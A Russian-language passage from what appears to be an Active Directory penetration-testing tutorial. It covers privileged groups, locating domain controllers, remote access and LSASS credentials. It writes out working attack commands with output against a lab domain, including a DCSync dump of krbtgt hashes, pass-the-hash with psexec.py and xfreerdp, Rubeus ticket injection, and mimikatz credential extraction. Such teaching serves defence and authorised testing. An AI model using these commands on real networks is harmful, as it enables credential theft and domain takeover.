Как и пользователи, группы хранятся в базе данных домена. Точно так же их можно идентифицировать по атрибуту SamAccountName или SID.

Вы можете обратиться к базе данных, чтобы составить список групп и их членов.

PS C:\Users\Anakin> Get-ADGroup -Filter * | select SamAccountName

SamAccountName
--------------
Administrators
Users
Guests
<-- stripped output -->
Domain Computers
Domain Controllers
Schema Admins
Enterprise Admins
Cert Publishers
Domain Admins
Domain Users
<-- stripped output -->
Protected Users
Key Admins
Enterprise Key Admins
DnsAdmins
DnsUpdateProxy
DHCP Users
DHCP Administrators

Важные группы

Административные группы


В Active Directory существует множество групп по умолчанию (https://docs.microsoft.com/en-us/wi...ctory-security-groups#default-security-groups), определенных для разных ролей в домене/лесу. Для злоумышленника одной из самых привлекательных групп является группа "Администраторы домена" ( https://docs.microsoft.com/en-us/wi...e-directory-security-groups#bkmk-domainadmins), которая дает права администратора своим членам в домене, поэтому важно знать, кто является этой группой.

PS C:\Users\Anakin> Get-ADGroup "Domain Admins" -Properties members,memberof

DistinguishedName : CN=Domain Admins,CN=Users,DC=contoso,DC=local
GroupCategory : Security
GroupScope : Global
MemberOf : {CN=Denied RODC Password Replication Group,CN=Users,DC=contoso,DC=local,
CN=Administrators,CN=Builtin,DC=contoso,DC=local}
Members : {CN=Administrator,CN=Users,DC=contoso,DC=local}
Name : Domain Admins
ObjectClass : group
ObjectGUID : ac3ac095-3ea0-4922-8130-efa99ba99afa
SamAccountName : Domain Admins
SID : S-1-5-21-1372086773-2238746523-2939299801-512


Но есть и другие важные группы, которые могут дать вам много привилегий, а некоторые даже больше. Это относится к группе Enterprise Admins (https://docs.microsoft.com/en-us/wi...tive-directory-security-groups#bkmk-entadmins), которая предоставляет права администратора во всем лесу.

Администраторы предприятия — это группа, которая существует только в корневом домене леса, но по умолчанию добавляется в группу администраторов всех доменов леса. (https://docs.microsoft.com/en-us/wi...tive-directory-security-groups#administrators)

С другой стороны, группа "Администраторы домена" добавляется в группу "Администраторы" домена, а также в группы "Администраторы" компьютеров домена.

1653209901467.png


Другие важные группы

Но есть и другие важные группы (https://adsecurity.org/?p=3700), которые необходимо учитывать:

DNS-администраторы

Группа DNSAdmins (https://docs.microsoft.com/en-us/wi...tive-directory-security-groups#bkmk-dnsadmins) может разрешить своим членам выполнять код в контроллерах домена (https://www.semperis.com/blog/dnsadmins-revisited/) как SYSTEM с помощью произвольной библиотеки DLL.

Защищенные пользователи

Группа Защищенные пользователи (https://docs.microsoft.com/en-us/wi...and-management/protected-users-security-group) позволяет обеспечить безопасность учетных записей. Их участникам запрещается:

- Аутентифицироваться с помощью NTLM (только Kerberos).

- Использовать типы шифрования DES или RC4 в предварительной аутентификации Kerberos.

- Быть делегированным с неограниченным или ограниченным делегированием.

- Обновлять TGT Kerberos по истечении первоначального четырехчасового срока службы.

Это может помешать попыткам злоупотребления этой учетной записью с помощью ретрансляции NTLM (https://en.hackndo.com/ntlm-relay/) или атак делегирования Kerberos (https://www.tarlogic.com/en/blog/kerberos-iii-how-does-delegation-work/).

Администраторы схемы

Администраторы схемы( https://docs.microsoft.com/en-us/wi...ctive-directory-security-groups#schema-admins) могут изменять схему базы данных Active Directory.

Операторы Аккаунтов

Группа Операторы учетных записей (https://docs.microsoft.com/en-us/wi...rectory-security-groups#bkmk-accountoperators) может изменять членов многих групп домена, за исключением многих групп администраторов. Однако он может изменить группу операторов сервера.

Операторы резервного копирования

Члены резервных операторов (https://docs.microsoft.com/en-us/wi...ve-directory-security-groups#backup-operators) могут создавать резервные копии и восстанавливать файлы в контроллерах домена (они также могут входить в них). Это может позволить изменять файлы в контроллерах домена.

Операторы печати

Операторы печати (https://docs.microsoft.com/en-us/wi...ive-directory-security-groups#print-operators) могут входить в контроллеры домена.

Операторы сервера

Операторы сервера (https://docs.microsoft.com/en-us/wi...ve-directory-security-groups#server-operators) могут входить в контроллеры домена и управлять его конфигурацией.

Пользователи удаленного рабочего стола

Члены пользователей удаленного рабочего стола (https://docs.microsoft.com/en-us/wi...ctory-security-groups#bkmk-remotedesktopusers) могут войти в контроллер домена через RDP.

Владельцы создателей групповой политики

Члены владельцев-создателей групповой политики (https://docs.microsoft.com/en-us/wi...y-security-groups#group-policy-creator-owners) могут редактировать объекты групповой политики в домене.

Есть много других групп, описанных в документах Microsoft (https://docs.microsoft.com/en-us/wi...l/active-directory-security-groups#replicator). Более того, многие организации добавляют настраиваемые группы, которые также могут быть очень привилегированными, например, используемые членами ИТ.

Кроме того, многие программы (особенно программы Microsoft) добавляют свои собственные группы для управления, такие как Exchange, которые могут добавлять привилегированные группы (https://adsecurity.org/?p=4119) , такие как Exchange Windows Permissions, которые могут позволить пользователю выполнять атаку DCSync (если они не обновлены должным образом).
 
Область действия группы

В Active Directory существует три различных типа групп в зависимости от их области действия (https://docs.microsoft.com/en-us/wi.../active-directory-security-groups#group-scope). Понимание их позволит понять, как можно управлять доменами и лесом:

- Универсальные группы, которые могут иметь участников из одних и тех же лесах и предоставлять разрешения в одном и том же лесу или доверенных лесах. Группа Enterprise Admins является примером универсальной группы.

- Глобальные группы, которые могут состоять только из членов одного и того же домена и предоставляют разрешения в доменах одного и того же леса или доверительных доменов или лесов. Группа "Администраторы домена" является примером глобальной группы.

- Наконец, группы DomainLocal могут иметь членов из домена или любого доверенного домена и предоставлять разрешения только в своих доменах. Группа "Администраторы" является примером групп DomainLocal.

Кроме того, вы также должны знать, что доменные группы (и пользователи домена) могут быть членами локальных групп компьютеров. Например, группа "Администраторы домена" по умолчанию добавляется в локальную группу "Администраторы" машины.

Компьютеры

Конечно, компьютеры являются центральной частью Active Directory. Как мы уже говорили, это машины, на которых происходят все операции, а также пользователи Active Directory, которых необходимо подключить к контроллерам домена.

В каждом домене есть три типа компьютеров:

- Контроллеры домена: центральные серверы, которые управляют доменом. Это машины Windows Server.
- Рабочие станции: персональные компьютеры, используемые людьми каждый день. Обычно это машины с Windows 10 или 7.
- Серверы: компьютеры, предлагающие такие услуги, как веб-сайты, файлы или базы данных. Обычно это машины с Linux или Windows Server.

Контроллеры домена

Контроллер домена, как мы уже говорили, является центральным сервером домена, на котором работает доменная служба Active Directory (AD DS) (https://docs.microsoft.com/en-us/wi...-dc/active-directory-domain-services-overview). Это означает, что он отвечает за хранение базы данных домена со всей информацией об объектах домена и предлагает службы Active Directory, такие как аутентификация, авторизация, разрешение имен и т. д.

База данных хранится в файле C:\Windows\NTDS\ntds.dit контроллеров домена. Поэтому, если кто-то украдет этот файл, он сможет получить доступ ко всей информации об объектах домена (компьютерах, пользователях, группах, политиках и т.д.), включая учетные данные пользователей. Следовательно, доступ к этому файлу и к контроллерам домена должен быть ограничен администраторами домена.

Это опирается на тот факт, что любой компьютер в домене должен иметь возможность общаться с контроллером домена, чтобы запрашивать информацию из этой базы данных. Таким образом, контроллер домена (по крайней мере, один из них) должен быть доступен из любой части сети.

Обычно в домене имеется более одного контроллера домена, чтобы распределить рабочую нагрузку и предотвратить единую точку сбоя. Кроме того, как и любой другой сервер базы данных, контроллеры домена должны быть синхронизированы друг с другом, чтобы поддерживать актуальность данных.

Кроме того, чтобы позволить компьютерам и пользователям получать доступ к данным базы данных, контроллеры домена предоставляют ряд услуг, таких как DNS, Kerberos, LDAP, SMB, RPC и т. д.

Обнаружение контроллеров домена

Понятно, что контроллеры домена являются одной из самых важных частей Active Directory, и из-за этого они часто являются мишенью для пентестов, поэтому важно их идентифицировать, что не очень сложно.

Из-за широкого спектра услуг, предлагаемых контроллером домена, существует множество способов идентифицировать контроллеры домена домена.

Одна возможность, которая не требует какой-либо аутентификации, состоит в том, чтобы сделать простой DNS-запрос, запрашивающий серверы LDAP домена (которые являются контроллерами домена):

PS C:\Users\Anakin> nslookup -q=srv _ldap._tcp.dc._msdcs.contoso.local
Server: UnKnown
Address: 192.168.100.2

_ldap._tcp.dc._msdcs.contoso.local SRV service location:
priority = 0
weight = 100
port = 389
svr hostname = dc01.contoso.local
_ldap._tcp.dc._msdcs.contoso.local SRV service location:
priority = 0
weight = 100
port = 389
svr hostname = dc02.contoso.local
dc01.contoso.local internet address = 192.168.100.2
dc02.contoso.local internet address = 192.168.100.3


Кроме того, вы можете использовать некоторые системные утилиты, такие как nltest, чтобы получить контроллеры домена, но вам потребуется пользователь.

PS C:\Users\Anakin> nltest /dclist:contoso.local
Get list of DCs in domain 'contoso.local' from '\\dc01.contoso.local'.
dc01.contoso.local [PDC] [DS] Site: Default-First-Site-Name
dc02.contoso.local [DS] Site: Default-First-Site-Name
The command completed successfully


Более того, если вы выполняете сканирование портов машины и результат похож на следующий, наверняка это контроллер домена:

$ nmap 192.168.100.2 -Pn -sV -p-
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-04 11:17 CEST
Nmap scan report for 192.168.100.2
Host is up (0.00068s latency).
Not shown: 65509 filtered ports
PORT STATE SERVICE VERSION
42/tcp open tcpwrapped
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-05-04 09:19:44Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: contoso.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: contoso.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
49685/tcp open msrpc Microsoft Windows RPC
49707/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 164.31 seconds


Этот вывод показывает много открытых портов. Вот краткое описание услуг, предлагаемых каждым портом:

42 -> WINS: Централизованная служба для преобразования имен NetBIOS в IP-адреса.
53 -> DNS: служба для преобразования DNS-имен в IP-адреса.
88 -> Kerberos: используется для предоставления пользователям аутентификации Kerberos.
135 -> Сопоставитель конечных точек RPC: служба RPC, используемая для поиска конечных точек RPC для различных служб RPC.
139 -> Служба сеансов NetBIOS: старая альтернатива TCP, используемая компьютерами Windows. Это позволяет работать таким протоколам, как SMB или RPC.
389 -> LDAP: Используется для запроса/редактирования базы данных домена.
445 -> SMB: используется для обмена файлами между компьютерами.Также разрешает вызов RPC через именованные каналы.
464 -> kpasswd: служба Kerberos, используемая для изменения паролей пользователей.
593 -> RPC через HTTP Endpoint Mapper
636 -> LDAPS: LDAP с SSL
3268 -> Глобальный каталог LDAP: служба для запроса глобального каталога.
3269 -> Глобальный каталог LDAPS
5985 -> WinRM: служба для удаленного управления машиной с помощью объектов CIM или удаленного взаимодействия Powershell.
9389 -> ADWS: веб-служба для запроса/редактирования базы данных домена.
49152-65535 Конечные точки RPC: случайные порты RPC, на которых разные службы/интерфейсы RPC прослушивают клиентов.

В зависимости от конфигурации контроллера домена вы также можете найти открытый порт 3389, который разрешает подключения RDP или многие другие службы (https://docs.microsoft.com/en-US/tr...ervice-overview-and-network-port-requirements).

Дамп базы данных домена

Наконец, если вы станете администратором домена, вы можете захотеть сделать дамп содержимого базы данных контроллера домена, чтобы прочитать некоторые конфиденциальные данные, такие как учетные данные пользователя krbtgt, для создания золотых билетов (https://en.hackndo.com/kerberos-silver-golden-tickets/) .

Чтобы извлечь содержимое базы данных, вы можете войти в систему на контроллере домена и локально создать дамп файла NTDS.dit (https://www.ired.team/offensive-sec.../ntds.dit-enumeration#no-credentials-ntdsutil) с помощью ntdsutil (https://docs.microsoft.com/en-us/pr...ows-server-2012-r2-and-2012/cc753343(v=ws.11)) или vssadmin (https://docs.microsoft.com/en-gb/windows-server/administration/windows-commands/vssadmin), или вы можете выполнить удаленную атаку dcsync (https://adsecurity.org/?p=1729) с помощью команды mimikatz lsadump (https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump#dcsync) ::dsync или Скрипт impacket secretsdump.py (https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py).

Будьте осторожны, запуская атаку DCSync, поскольку, если вы запросите все учетные данные в большом домене, у отвечающего контроллера домена может не хватить памяти и он выйдет из строя!!

$ secretsdump.py 'contoso.local/Administrator@192.168.100.2' -just-dc-user krbtgt
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fe8b03404a4975e7226caf6162cfccba:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:5249e3cf829c979959286c0ee145b7e6b8b8589287bea3c83dd5c9488c40f162
krbtgt:aes128-cts-hmac-sha1-96:a268f61e103134bb7e975a146ed1f506
krbtgt:des-cbc-md5:0e6d79d66b4951cd
[*] Cleaning up...

Компьютеры Windows


Помимо контроллеров домена, в домене есть много других компьютеров с Windows, которые используются как в качестве рабочих станций (обычно Windows 10/8/7/Vista/XP), так и в качестве серверов приложений (обычно выпуски Windows Server).

Обнаружение компьютеров Windows

Вы можете идентифицировать компьютеры Windows в домене или сети, используя несколько методов.

Первый вариант, если у вас есть учетные данные домена, может состоять в том, чтобы запросить базу данных домена через LDAP, которая может дать вам как имена компьютеров, так и даже операционную систему.

~$ ldapsearch -H ldap://192.168.100.2 -x -LLL -W -D "anakin@contoso.local" -b "dc=contoso,dc=local" "(objectclass=computer)" "DNSHostName" "OperatingSystem"
Enter LDAP Password:
dn: CN=DC01,OU=Domain Controllers,DC=contoso,DC=local
operatingSystem: Windows Server 2019 Standard Evaluation
dNSHostName: dc01.contoso.local

dn: CN=WS01-10,CN=Computers,DC=contoso,DC=local
operatingSystem: Windows 10 Enterprise
dNSHostName: ws01-10.contoso.local

dn: CN=WS02-7,CN=Computers,DC=contoso,DC=local
operatingSystem: Windows 7 Professional
dNSHostName: WS02-7.contoso.local

dn: CN=SRV01,CN=Computers,DC=contoso,DC=local
operatingSystem: Windows Server 2019 Standard Evaluation
dNSHostName: srv01.contoso.local


Другие методы, если у вас нет учетных данных, могут включать сканирование сети. На компьютерах с Windows по умолчанию открыто несколько портов, и они обычно не защищены брандмауэром в доменной среде.

Например, служба имен NetBIOS прослушивает порт 137 и позволяет даже разрешить имя NetBIOS по IP-адресу. Вы можете выполнить сканирование NetBIOS с помощью такого инструмента, как nbtscan (http://www.unixwiz.net/tools/nbtscan.html ) или сценарий nmap nbtstat (https://nmap.org/nsedoc/scripts/nbstat.html).

$ nbtscan 192.168.100.0/24
192.168.100.2 CONTOSO\DC01 SHARING DC
192.168.100.7 CONTOSO\WS02-7 SHARING
192.168.100.10 CONTOSO\WS01-10 SHARING
*timeout (normal end of scan)


Кроме того, очень популярной службой, прослушивающей порт 445, является SMB, активно используемая компьютерами Windows для связи друг с другом. Вы можете выполнить сканирование портов, чтобы обнаружить компьютеры Windows, и вы даже можете воспользоваться преимуществами согласования аутентификации NTLM, чтобы получить имя машины. Вы можете выполнить сканирование с помощью сценария ntlm-info (https://github.com/Zer1t0/ntlm-info) или nmap smb-os-discovery (https://nmap.org/nsedoc/scripts/smb-os-discovery.html).

$ ntlm-info smb 192.168.100.0/24

Target: 192.168.100.2
NbComputer: DC01
NbDomain: CONTOSO
DnsComputer: dc01.contoso.local
DnsDomain: contoso.local
DnsTree: contoso.local
Version: 10.0.17763
OS: Windows 10 | Windows Server 2019 | Windows Server 2016

Target: 192.168.100.7
NbComputer: WS02-7
NbDomain: CONTOSO
DnsComputer: ws02-7.contoso.local
DnsDomain: contoso.local
Version: 6.1.7601
OS: Windows 7 | Windows Server 2008 R2

Target: 192.168.100.10
NbComputer: WS01-10
NbDomain: CONTOSO
DnsComputer: ws01-10.contoso.local
DnsDomain: contoso.local
DnsTree: contoso.local
Version: 10.0.19041
OS: Windows 10 | Windows Server 2019 | Windows Server 2016


Наконец, вы также можете сканировать другие порты, такие как 135 (RCP) или 139 (сеансовый сервис NetBIOS) с помощью nmap.

Подключение к компьютерам Windows

Как только вы обнаружите другие компьютеры с Windows, вам может потребоваться подключиться к ним, чтобы получить учетные данные или данные.

Обычно вам нужно будет выполнять команды на удаленной машине для выполнения ваших действий. Есть несколько вариантов достижения этого.

Соединение с RPC/SMB

Первый и, вероятно, самый распространенный — это использование RPC с SMB. Это метод, используемый многими известными инструментами, такими как PsExec (https://docs.microsoft.com/en-us/sysinternals/downloads/psexec) и примеры пакетов psexec.py (https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py), wmiexec.py (https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py) и любые другие *exec.py.

Эти инструменты обычно выполняют команды с использованием некоторого интерфейса RPC и отправляют/получают ввод/вывод с помощью каналов SMB. Обычно инструменты требуют только открытого порта 445 (SMB) для выполнения команд, но некоторым, например wmiexec.py (https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py), также потребуется порт 135 (RPC через TCP).

Кроме того, эти инструменты могут выполнять Pass-The-Hash с использованием хэша NT или LM. У инструментов impacket есть параметр для прямого использования хэша NT или LM, в то время как для использования его с PsExec вы должны внедрить хэш NT в сеанс Windows с помощью mimikatz (https://stealthbits.com/blog/passing-the-hash-with-mimikatz/).

$ psexec.py contoso.local/Anakin@192.168.100.10 -hashes :cdeae556dc28c24b5b7b14e9df5b6e21
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 192.168.100.10.....
[*] Found writable share ADMIN$
[*] Uploading file WFKqIQpM.exe
[*] Opening SVCManager on 192.168.100.10.....
[*] Creating service AoRl on 192.168.100.10.....
[*] Starting service AoRl.....
[!] Press help for extra shell commands
The system cannot find message text for message number 0x2350 in the message file for Application.

(c) Microsoft Corporation. All rights reserved.
b'Not enough memory resources are available to process this command.\r\n'
C:\Windows\system32>whoami
nt authority\system


Таким образом, вы используете NTLM в качестве механизма аутентификации, что может быть не лучшим вариантом, поскольку в Active Directory по умолчанию используется Kerberos.

Чтобы использовать Kerberos, вам необходимо предоставить билет Kerberos для упомянутых инструментов. В случае impacket (https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a#using-ticket-in-linux) вы можете настроить файл ccache для использования impacket, тогда как в Windows вам нужно будет внедрить билет в сеанс (https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a#using-ticket-in-windows) с помощью mimikatz (https://github.com/gentilkiwi/mimikatz) или Rubeus (https://github.com/GhostPack/Rubeus).

Чтобы получить билет Kerberos для использования, вы можете запросить его, используя пароль пользователя, хэш NT (Overpass-the-Hash) или ключи Kerberos (Pass-The-Key), или вы можете просто украсть билет из Компьютер с Windows или Linux и используйте его (Pass-The-Ticket).

Вы должны принять во внимание, что машины Windows и Linux (и инструменты, ориентированные на них) используют разные форматы файлов билетов, поэтому у вас могут возникнуть проблемы с перемещением билетов Linux на машину Windows или наоборот. Вы можете конвертировать билеты между различными форматами, используя ticket_converter (https://github.com/Zer1t0/ticket_converter) или cerbero (https://github.com/Zer1t0/cerbero#convert) .

$ getTGT.py contoso.local/Anakin -dc-ip 192.168.100.2 -hashes :cdeae556dc28c24b5b7b14e9df5b6e21
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Saving ticket in Anakin.ccache
$ export KRB5CCNAME=$(pwd)/Anakin.ccache
$ psexec.py contoso.local/Anakin@WS01-10 -target-ip 192.168.100.10 -k -no-pass
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 192.168.100.10.....
[*] Found writable share ADMIN$
[*] Uploading file TwIEeeqd.exe
[*] Opening SVCManager on 192.168.100.10.....
[*] Creating service ZQZb on 192.168.100.10.....
[*] Starting service ZQZb.....
[!] Press help for extra shell commands
The system cannot find message text for message number 0x2350 in the message file for Application.

(c) Microsoft Corporation. All rights reserved.
b'Not enough memory resources are available to process this command.\r\n'
C:\Windows\system32>


При использовании проверки подлинности Kerberos вам нужно будет передать в качестве цели инструментам имя хоста (DNS-имя или имя NetBIOS) удаленной машины вместо ее IP-адреса. Это связано с тем, что аутентификация Kerberos использует имя хоста для идентификации службы удаленной машины и предоставления правильного билета для аутентификации на ней.

Если вы используете IP-адрес, вы получите следующую ошибку:

$ psexec.py contoso.local/Anakin@192.168.100.10 -k -no-pass
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)

Подключение к удаленному Powershell


Альтернативой RPC/SMB для подключения к компьютеру с Windows является Powershell Remoting, который позволит вам получить сеанс Powershell на удаленном компьютере. Служба удаленного взаимодействия Powershell прослушивает порт 5985 и по умолчанию включена на компьютерах с Windows Server.

Вы можете использовать Powershell Remoting из Windows, используя множество CmdLet ( https://docs.microsoft.com/en-us/po...01/08-powershell-remoting?view=powershell-7.1) и параметров, доступных в Powershell. На машине с Linux вы можете использовать evil-winrm ( https://github.com/Hackplayers/evil-winrm).

Как и в случае с RPC/SMB, вы можете использовать пароль, хеш NT или билет Kerberos для подключения к целевой машине. С evil-winrm вы можете передать их приложению в качестве параметров или настроить файл ccache как в impacket. В случае с командлетами Powershell вы можете использовать пароль напрямую, но если у вас есть билет Kerberos или хэш NT, вам нужно будет внедрить их с помощью Rubeus (https://github.com/GhostPack/Rubeus) или mimikatz ( https://github.com/gentilkiwi/mimikatz).

PS C:\> .\Rubeus.exe asktgt /user:Administrator /rc4:b73fdfe10e87b4ca5c0d957f81de6863 /ptt

______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/


v1.6.1

[*] Action: Ask TGT

[*] Using rc4_hmac hash: b73fdfe10e87b4ca5c0d957f81de6863
[*] Building AS-REQ (w/ preauth) for: 'contoso.local\Administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIFQjCCBT6gAwIBBaEDAgEWooIETzCCBEthggRHMIIEQ6ADAgEFoQ8bDUNPTlRPU08uTE9DQUyiIjAg
oAMCAQKhGTAXGwZrcmJ0Z3QbDWNvbnRvc28ubG9jYWyjggQFMIIEAaADAgESoQMCAQKiggPzBIID7xK3
<!--stripped-->
ERgPMjAyMTA1MDgwMjQzMjZapxEYDzIwMjEwNTE0MTY0MzI2WqgPGw1DT05UT1NPLkxPQ0FMqSIwIKAD
AgECoRkwFxsGa3JidGd0Gw1jb250b3NvLmxvY2Fs
[+] Ticket successfully imported!

ServiceName : krbtgt/contoso.local
ServiceRealm : CONTOSO.LOCAL
UserName : Administrator
UserRealm : CONTOSO.LOCAL
StartTime : 07/05/2021 18:43:26
EndTime : 08/05/2021 04:43:26
RenewTill : 14/05/2021 18:43:26
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 95a1NmgYXwOmiyCa3qlplA==

PS C:\> Enter-PSSession -ComputerName dc01
[dc01]: PS C:\Users\Administrator\Documents> whoami
contoso\administrator
[dc01]: PS C:\Users\Administrator\Documents> hostname
dc01
[dc01]:

Соединение с RDP

Одним из распространенных способов подключения к удаленному компьютеру в Windows является RDP (протокол удаленного рабочего стола). Вы можете использовать RDP с компьютера Windows, используя клиент по умолчанию "Подключение к удаленному рабочему столу" (mstsc (https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc)). Из Linux есть отличные клиенты вроде rdesktop (http://www.rdesktop.org/), freerdp (https://www.freerdp.com/) или remmina (https://remmina.org/).

В отличие от RPC/SMB и Powershell Remoting, RDP передает простой пароль пользователя на целевой компьютер, чтобы кэшировать учетные данные и упростить единый вход, как если бы пользователь вошел в систему на своем физическом компьютере. Из-за этого для использования RDP вам необходимо использовать пароль пользователя, и по умолчанию невозможно выполнить Pass-The-Hash….

Как мы уже упоминали, при подключении через RDP учетные данные кэшируются на целевой машине, что может быть украдено из процесса lsass с помощью таких инструментов, как mimikatz. Учетные данные кэшируются для повторного использования в сетевых подключениях с целевой машины, но иногда в этом нет необходимости, поэтому в Windows 8.1 / 2012 R2 Microsoft (https://docs.microsoft.com/en-us/ar...ted-admin-mode-for-rdp-in-windows-8-1-2012-r2) представила режим ограниченного администрирования для RPD. Когда включен режим ограниченного администрирования, вы не отправляете простые учетные данные, поэтому можно выполнить Pass-The-Hash/Key/Ticket для установки RDP-соединения.

В Linux вы можете использовать freerdp ( https://www.kali.org/blog/passing-hash-remote-desktop/) для выполнения Pass-The-Hash с RDP (вам нужно установить пакеты freerdp2-x11 freerdp2-shadow-x11 вместо freerdp-x11, как сказано в статье). Вам нужно только указать хэш NT вместо пароля.

xfreerdp /u:Anakin@contoso.local /pth:cdeae556dc28c24b5b7b14e9df5b6e21 /v:192.168.122.143


С другой стороны, из Windows вы можете внедрить хэш NT или билет Kerberos с помощью mimikatz или Rubeus ( https://shellz.club/pass-the-hash-with-rdp-in-2019/), а затем использовать mstsc.exe /restrictedadmin для установки RDP-соединения без запроса пароля пользователя.

1653332228740.png


1653332244337.png


Учетные данные компьютеров Windows

Учетные данные LSASS


На компьютере с Windows обычным местом для поиска учетных данных является процесс LSASS (локальная служба подсистемы безопасности) (lsass.exe) процесс отвечает за управление операциями компьютера, связанными с безопасностью, включая аутентификацию пользователей.

Когда пользователь выполняет интерактивный вход (https://docs.microsoft.com/en-us/wi...windows-logon-scenarios#BKMK_InteractiveLogon) в систему на компьютере, получая физический доступ к компьютеру или через RDP (https://docs.microsoft.com/en-us/pr....11)?redirectedfrom=MSDN#remote-desktop-users), учетные данные пользователя кэшируются в процессе LSASS для использования SSO (Single Sign-On), когда для доступа к другие доменные компьютеры.( https://docs.microsoft.com/en-us/wi...ion/windows-logon-scenarios#BKMK_NetworkLogon)

Имейте в виду, что удаленные пользователи, прошедшие проверку подлинности через NTLM или Kerberos, не будут позволять кэшированные учетные данные на компьютере (в процессе lsass), поскольку эти протоколы на самом деле не отправляют учетные данные пользователя на компьютер (за исключением случаев, когда делегирование Kerberos включено), а доказательство, это может быть либо хэш NTLM, либо билет Kerberos, сгенерированный с учетными данными.

Таким образом, вы не можете извлечь из lsass (с помощью mimikatz) учетные данные удаленных пользователей, прошедших проверку подлинности с помощью NTLM или Kerberos. (Если только протокол/служба не отправляет их явно после аутентификации, как это делает RDP, но это не имеет ничего общего с NTLM или Kerberos)


Учетные данные кэшируются некоторыми SSP (поставщиками поддержки безопасности), которые используются LSASS для предоставления различных методов аутентификации. Некоторые SSP:

- Kerberos SSP управляет проверкой подлинности Kerberos и отвечает за хранение билетов и ключей Kerberos для текущих зарегистрированных пользователей.

- NTLMSSP или MSV SSP обрабатывает аутентификацию NTLM и отвечает за хранение хэшей NT для текущих зарегистрированных пользователей. Он не будет кэшировать используемые учетные данные

- The Digest SSP реализует протокол Digest Access, используемый приложениями HTTP. Это SSP, который хранит пароль пользователя в открытом виде для расчета дайджеста. Даже если кэширование паролей отключено по умолчанию, начиная с Windows 2008 R2, все же можно включить кэширование паролей, установив для записи реестра HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential значение 1 или исправив Digest SSP (https://blog.xpnsec.com/exploring-mimikatz-part-1/) непосредственно в памяти.

Следовательно, если у нас есть доступ к памяти процесса LSASS, для которой требуется SeDebugPrivilege (обычно удерживается администраторами), поскольку lsass является системным процессом, мы можем получить кэшированные учетные данные. Как мы видели, эти кэшированные учетные данные включают в себя хэш NT пользователя, ключи и билеты Kerberos и даже пароль пользователя в открытом тексте на некоторых старых или неправильно сконфигурированных машинах.

Обычный способ извлечь учетные данные из процесса LSASS — использовать mimikatz (https://github.com/gentilkiwi/mimikatz). Мы можем запустить mimikatz непосредственно на целевой машине или создать дамп памяти LSASS (https://www.deepinstinct.com/2021/01/24/lsass-memory-dumps-are-stealthier-than-ever-before/) с помощью какого-либо инструмента, такого как procdump (https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) , comsvcs.dll (https://lolbas-project.github.io/lolbas/Libraries/Comsvcs/) или werfault.exe (https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/), а затем обработать сгенерированный дамп памяти с помощью mimikatz или pypikatz (https://github.com/skelsec/pypykatz). Также можно использовать lsassy (https://github.com/Hackndo/lsassy) для удаленного чтения дампа, избегая загрузки всего дампа памяти, что может занять несколько мегабайт.

Чтобы извлечь учетные данные с помощью mimikatz, вам следует знать несколько команд. Они будут повторять разные секреты от зарегистрированных пользователей:

-sekurlsa::logonpasswords: извлекает хэши и пароли NT.
-sekurlsa::ekeys: получает ключи Kerberos.
-sekurlsa::tickets: Извлекает билеты Kerberos, хранящиеся на машине.

В частности, для доступа к памяти процесса LSASS вам потребуется SeDebugPrivilege (https://devblogs.microsoft.com/oldnewthing/20080314-00/?p=23113), который позволяет пользователю отлаживать процессы других пользователей. Обычно такой привилегией обладают только администраторы (но если другой пользователь получает эту привилегию, он может стать администратором).

